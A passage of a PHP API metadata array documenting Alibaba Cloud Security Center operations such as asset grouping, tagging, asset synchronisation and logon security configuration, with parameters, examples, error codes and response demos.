.'* **TENCENT**: Tencent Cloud'."\n" .'* **HUAWEICLOUD**: Huawei Cloud'."\n" .'* **Microsoft**: Microsoft'."\n" .'* **AWS**: Amazon Web Services (AWS)'."\n" .'* **TRIPARTITE**: a lightweight server'."\n", 'type' => 'string', 'example' => 'ALIYUN', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'sql-test-001', ], 'Os' => [ 'description' => 'The operating system of the server. Valid values:'."\n" ."\n" .'* **linux**'."\n" .'* **windows**'."\n" .'* **windows-2003**'."\n", 'type' => 'string', 'example' => 'linux', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'sas-bdrvxb4b****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Vendor' => [ 'description' => 'The source of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud.'."\n" .'* **1**: a third-party cloud server'."\n" .'* **2**: a server in a data center'."\n" .'* **3**, **4**, **5**, and **7**: other cloud asset'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 44,\\n \\"MachineList\\": [\\n {\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\",\\n \\"MachineRegion\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Os\\": \\"linux\\",\\n \\"InstanceId\\": \\"sas-bdrvxb4b****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeOfflineMachines', ], 'CheckUserHasEcs' => [ 'summary' => 'Checks whether Elastic Compute Service (ECS) instances exist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates whether ECS instances exist. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Success' => [ 'description' => 'The status of the request. Valid values:'."\n" ."\n" .'* **true**: The request is successful.'."\n" .'* **false**: The request fails.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request is successful. Other status codes indicate that the request fails. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', 'title' => 'CheckUserHasEcs', ], 'CreateOrUpdateAssetGroup' => [ 'summary' => 'Modifies the mapping between an asset and an asset group. For example, you can call this operation to modify the server group to which the asset belongs or the asset list of the asset group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91931', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server in the server group that you want to create or the server group for which you want to add or remove servers. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'aq12-***,s23***', ], ], [ 'name' => 'GroupName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server group that you want to create or the server group for which you want to add or remove a server.'."\n" ."\n" .'> To modify the mapping between a server and a server group, you must provide the name of the server group. You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the names of server groups. If you do not configure GroupID when you call this operation, a server group is created. In this case, you must configure GroupName.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', 'maxLength' => 45, 'minLength' => 1, ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the server group for which you want to add to or remove servers.'."\n" ."\n" .'> To modify the mapping between an asset and an asset group, you must provide the ID of the asset group. You can call the [DescribeAllGroups](~~DescribeAllGroups~~) to query the IDs of asset groups. If you do not configure this parameter when you call this operation, an asset group is created.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '55426', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '9935302', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'E70074C8-DFB4-44C5-96C7-909DD231D68A', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'GroupNameRepeated', 'errorMessage' => 'group name repeated', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'Service error, please try again later.', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"GroupId\\": 9935302,\\n \\"RequestId\\": \\"E70074C8-DFB4-44C5-96C7-909DD231D68A\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 9935302\\n E70074C8-DFB4-44C5-96C7-909DD231D68A\\n","errorExample":""}]', 'title' => 'CreateOrUpdateAssetGroup', 'description' => 'A server can belong only to one server group. If you call the CreateOrUpdateAssetGroup operation and the server specified in request parameters belongs to Server Group A, the server is removed from Server Group A and then added to the newly created or specified server group after the call is complete.'."\n", 'requestParamsDescription' => 'The following list describes the difference in the configurations of request parameters when you call the CreateOrUpdateAssetGroup operation to create a server group and add servers to or remove servers from a server group:'."\n" ."\n" .'* Create a server group: You do not need to specify **GroupId** but must specify **GroupName**. The **Uuids** parameter is optional.'."\n" .'* Add servers to or remove servers from a server group: You must specify both **GroupId** and **Uuids**. The **GroupName** parameter is optional.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'RefreshAssets' => [ 'summary' => 'Synchronizes assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92427', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset that you want to synchronize. Valid values:'."\n" ."\n" .'* **cloud_product**: Alibaba Cloud service'."\n" .'* **ecs**: Elastic Compute Service (ECS) instance'."\n" .'* **container_image**: container image'."\n", 'type' => 'string', 'required' => false, 'example' => 'cloud_product', ], ], [ 'name' => 'CloudAssetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the cloud service. Valid values:'."\n" ."\n" .'* **0**: ECS'."\n" .'* **1**: Server Load Balancer (SLB)'."\n" .'* **3**: ApsaraDB RDS'."\n" .'* **4**: ApsaraDB for MongoDB (MongoDB)'."\n" .'* **5**: ApsaraDB for Redis (Redis)'."\n" .'* **6**: Container Registry'."\n" .'* **8**: Container Service for Kubernetes (ACK)'."\n" .'* **9**: Virtual Private Cloud (VPC)'."\n" .'* **11**: ActionTrail'."\n" .'* **12**: Alibaba Cloud CDN (CDN)'."\n" .'* **13**: Certificate Management Service (formerly SSL Certificates Service)'."\n" .'* **14**: Apsara Devops'."\n" .'* **15**: Resource Access Management (RAM)'."\n" .'* **16**: Anti-DDoS'."\n" .'* **17**: Web Application Firewall (WAF)'."\n" .'* **18**: Object Storage Service (OSS)'."\n" .'* **19**: PolarDB'."\n" .'* **20**: ApsaraDB RDS for PostgreSQL'."\n" .'* **21**: Microservices Engine (MSE)'."\n" .'* **22**: File Storage NAS (NAS)'."\n" .'* **23**: Data Security Center (DSC)'."\n" .'* **24**: Elastic IP Address (EIP)', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'CloudAssetSubType', 'in' => 'query', 'schema' => [ 'description' => 'The subtype of the cloud service.'."\n" ."\n" .'> The following list describes the subtypes of cloud services.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'The type of the server. Valid values:'."\n" ."\n" .'* **0**: an asset provided by Alibaba Cloud'."\n" .'* **1**: a third-party cloud asset'."\n" .'* **2**: an asset in a data center'."\n" .'* **3**, **4**, **5**, and **7**: an asset provided by another cloud'."\n" .'* **8**: a lightweight asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57B795', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'DuplicatedRefresh', 'errorMessage' => 'Refresh in progress, please wait.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57B795\\"\\n}","type":"json"}]', 'title' => 'RefreshAssets', 'requestParamsDescription' => '| Cloud asset type | Cloud service subtype | Service name | Sub-service name | :---- :| : ----: | :----: | : ---- : | 0 | 0 | ECS | Instance 0 | 1 | Disk (storage) | Disk (storage) 0 | 2 | Security group | Security group 1 | 0 | SLB | SLB 1 | 1 | SLB | ALB 3 | 0 | ApsaraDB RDS | Instance 4 | 0 | MongoDB | Instance 5 | 0 | Redis | Instance 6 | 1 | Container Registry | Enterprise Edition 6 | 2 | Container Registry | Personal Edition 8 | 0 | ACK | Cluster 9 | 0 | VPC | NAT gateway 9 | 1 | VPC | EIP 9 | 2 | VPC | VPN 11 | 0 | ActionTrail | Tracking 12 | 0 | CDN | Instance 13 | 0 | Certificate Management Service (formerly SSL Certificates Service) | Certificate 14 | 0 | Apsara Devops | Organization 15 | 0 | RAM | Account alias 15 | 1 | RAM | User 15 | 2 | RAM | Policy 15 | 3 | RAM | Group 16 | 0 | Anti-DDoS | Instance 17 | 1 | WAF | Domain name 18 | 0 | OSS | Bucket 19 | 0 | PolarDB | Cluster 20 | 0 | ApsaraDB RDS for PostgreSQL | Instance 21 | 0 | MSE | Cluster 22 | 0 | NAS | File system 23 | 0 | DSC | Instance 24 | 0 | EIP | Anycast EIP'."\n", ], 'DeleteGroup' => [ 'summary' => 'Deletes a server group.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91959', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.172.XX.XX', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the server group that you want to delete.'."\n" ."\n" .'> To delete a server group, you must provide the ID of the server group. You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '9454789', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Code\\": \\"200\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\t7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', 'title' => 'DeleteGroup', 'description' => 'The **Default** server group that is provided by Security Center cannot be deleted. After you delete a group, the assets in this group are moved to the **Default** group.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DeleteTagWithUuid' => [ 'summary' => 'Removes custom tags from assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'TagName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the tag.'."\n", 'type' => 'string', 'required' => true, 'example' => 'abc', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers.'."\n" ."\n" .'> If the UuidList parameter is specified, Security Center removes the tag only from the servers whose UUIDs are specified by UuidList. If the UuidList parameter is not specified, Security Center removes the tag from all servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '111-xx,aa-bb', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\n","errorExample":""}]', 'title' => 'DeleteTagWithUuid', 'description' => 'Security Center provides asset importance tags and custom tags. You can call this operation to remove only the custom tag that is added to an asset.'."\n", 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DeleteLoginBaseConfig' => [ 'summary' => 'Deletes the basic configuration information from the logon security configurations for a specific asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91966', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the logon security settings to delete. Valid values:'."\n" ."\n" .'* **login\\_common_ip**: approved logon IP addresses'."\n" .'* **login\\_common_time**: approved logon time ranges'."\n" .'* **login\\_common_account**: approved logon accounts'."\n" .'* **login\\_common_location**: approved logon locations', 'type' => 'string', 'required' => true, 'example' => 'login_common_time', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The content of the logon security settings to delete. The content varies based on the type of the logon security settings. Valid values:'."\n" ."\n" .'* **login\\_common_ip**: approved logon IP addresses'."\n" ."\n" .'Example: {"ip":"10.23.23.23"}.'."\n" ."\n" .'* **login\\_common_time**: approved logon time ranges'."\n" ."\n" .'Example: {"startTime":"06:00:00","endTime":"16:00:00"}.'."\n" ."\n" .'* **login\\_common_account**: approved logon accounts'."\n" ."\n" .'Example: {"account":"test_account\\_001"}.'."\n" ."\n" .'* **login\\_common_location**: approved logon locations'."\n" ."\n" .'Example: {"location":"Shanghai"}.', 'type' => 'string', 'required' => true, 'example' => '{"startTime":"06:00:00","endTime":"16:00:00"}', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server whose logon security settings you want to delete.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.', 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], ], 'description' => 'The data returned.', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'GroupOrGlobalConfig', 'errorMessage' => 'Group or global config.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n","errorExample":""}]', 'title' => 'DeleteLoginBaseConfig', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyTagWithUuid' => [ 'summary' => 'Modifies the names of the tags that are added to assets, or modifies the tags for assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92395', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'UuidList', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the servers.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'e2737dc3-78f4-4653-a986-dc5fad4b****,c189f0e3-df22-42d5-a73d-02c05667****', ], ], [ 'name' => 'TagList', 'in' => 'query', 'schema' => [ 'description' => 'The names of the tags that you want to manage. Separate multiple tag names with commas (,).'."\n" ."\n" .'> You can call the [DescribeGroupedTags](~~DescribeGroupedTags~~) operation to query the names of tags.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ac,ad', ], ], [ 'name' => 'TagId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the tag that you want to manage.'."\n" ."\n" .'> You can call the [DescribeGroupedTags](~~DescribeGroupedTags~~) operation to query the IDs of tags.'."\n", 'type' => 'string', 'required' => false, 'example' => '3897941', ], ], [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset to query. If you do not specify this parameter, the tags of all asset types are queried. Valid values:'."\n" ."\n" .'* **ecs**: server'."\n" .'* **cloud_product**: Alibaba Cloud service'."\n", 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The details of the server for which you want to manage the tag. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **Target**: the UUID of the server that you want to add or remove.'."\n" ."\n" .'* **targetType**: the method by which the server is added. Valid values:'."\n" ."\n" .' * **uuid**: by server'."\n" .' * **groupId**: by server group'."\n" ."\n" .'* **flag**: the operation that you want to perform on the server. Valid values:'."\n" ."\n" .' * **del**: removes the tag from the server.'."\n" .' * **add**: adds the tag to the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"target":"inet-7c676676-06fa-442e-90fb-b802e5d6****","targetType":"uuid","flag":"add"}]', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '70C4B40D-D55E-4B7B-9992-8535E396B2F4', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'MissingTagList', 'errorMessage' => 'TagList is mandatory for this action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"70C4B40D-D55E-4B7B-9992-8535E396B2F4\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 70C4B40D-D55E-4B7B-9992-8535E396B2F4\\n","errorExample":""}]', 'title' => 'ModifyTagWithUuid', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyLoginSwitchConfig' => [ 'summary' => 'Enables or disables the logon security settings for a specific asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92375', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Item', 'in' => 'query', 'schema' => [ 'description' => 'The type of the logon security settings that you want to enable or disable. Valid values:'."\n" ."\n" .'* **login\\_common_ip**: unapproved logon IP addresses'."\n" .'* **login\\_common_time**: unapproved logon time ranges'."\n" .'* **login\\_common_account**: unapproved logon accounts', 'type' => 'string', 'required' => true, 'example' => 'login_common_account', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the logon security settings. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDFF1A2', ], ], 'description' => 'The data returned.', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => 'data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\"\\n}","errorExample":""},{"type":"xml","example":"\\r\\n B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\r\\n","errorExample":""}]', 'title' => 'ModifyLoginSwitchConfig', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyLoginBaseConfig' => [ 'summary' => 'Modifies the logon configuration for a specified asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92374', 'abilityTreeNodes' => [ 'FEATUREsasGC725T', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The logon type of the configuration to modify. Valid values:'."\n" ."\n" .'* **login\\_common_location**: common logon location'."\n" .'* **login\\_common_ip**: common logon IP address'."\n" .'* **login\\_common_time**: common logon time range'."\n" .'* **login\\_common_account**: common logon account', 'type' => 'string', 'required' => true, 'example' => 'login_common_location', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The details of the configuration that is used to detect unusual logons to your servers. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **totalCount**: the total number of servers.'."\n" .'* **uuidCount**: the number of servers to which the configuration is applied.'."\n" .'* **id**: the ID of the configuration.'."\n" .'* **location**: the common logon location.'."\n" ."\n" .'> You must specify this field if the Type parameter is set to login_common_location.'."\n" ."\n" .'* **ip**: the common logon IP address.'."\n" ."\n" .'> You must specify this field if the Type parameter is set to login_common_ip.'."\n" ."\n" .'* **endTime**: the end time of the common logon time range.'."\n" ."\n" .'> You must specify this field if the Type parameter is set to login_common_time.'."\n" ."\n" .'* **startTime**: the start time of the common logon time range.'."\n" ."\n" .'> You must specify this field if the Type parameter is set to login_common_time.'."\n" ."\n" .'* **account**: the common logon account.'."\n" ."\n" .'> You must specify this field if the Type parameter is set to login_common_account.'."\n", 'type' => 'string', 'required' => true, 'example' => '{"totalCount":174,"uuidCount":4,"location":"Montenegro","id":0}'."\n", ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The details of the server to which the configuration is applied. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **Target**: the UUID of the server.'."\n" ."\n" .'* **targetType**: the type of the server to which the configuration is applied. Valid values:'."\n" ."\n" .' * **uuid**: a server'."\n" .' * **groupId**: a server group'."\n" ."\n" .'* **flag**: the operation that you want to perform on the server. Valid values:'."\n" ."\n" .' * **del**: removes the server from the configuration.'."\n" .' * **add**: adds the server to the configuration.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"target":"inet-7c676676-06fa-442e-90fb-b802e5d6****","targetType":"uuid","flag":"add"}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AB96FDDF-ED29-52B1-9FAE-8203F2808F24', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataNotExists', 'errorMessage' => '%s data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AB96FDDF-ED29-52B1-9FAE-8203F2808F24\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","errorExample":""},{"type":"xml","example":"\\n AB96FDDF-ED29-52B1-9FAE-8203F2808F24\\n","errorExample":""}]', 'title' => 'ModifyLoginBaseConfig', ], 'ModifyPushAllTask' => [ 'summary' => 'Performs security check tasks on servers with a few clicks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 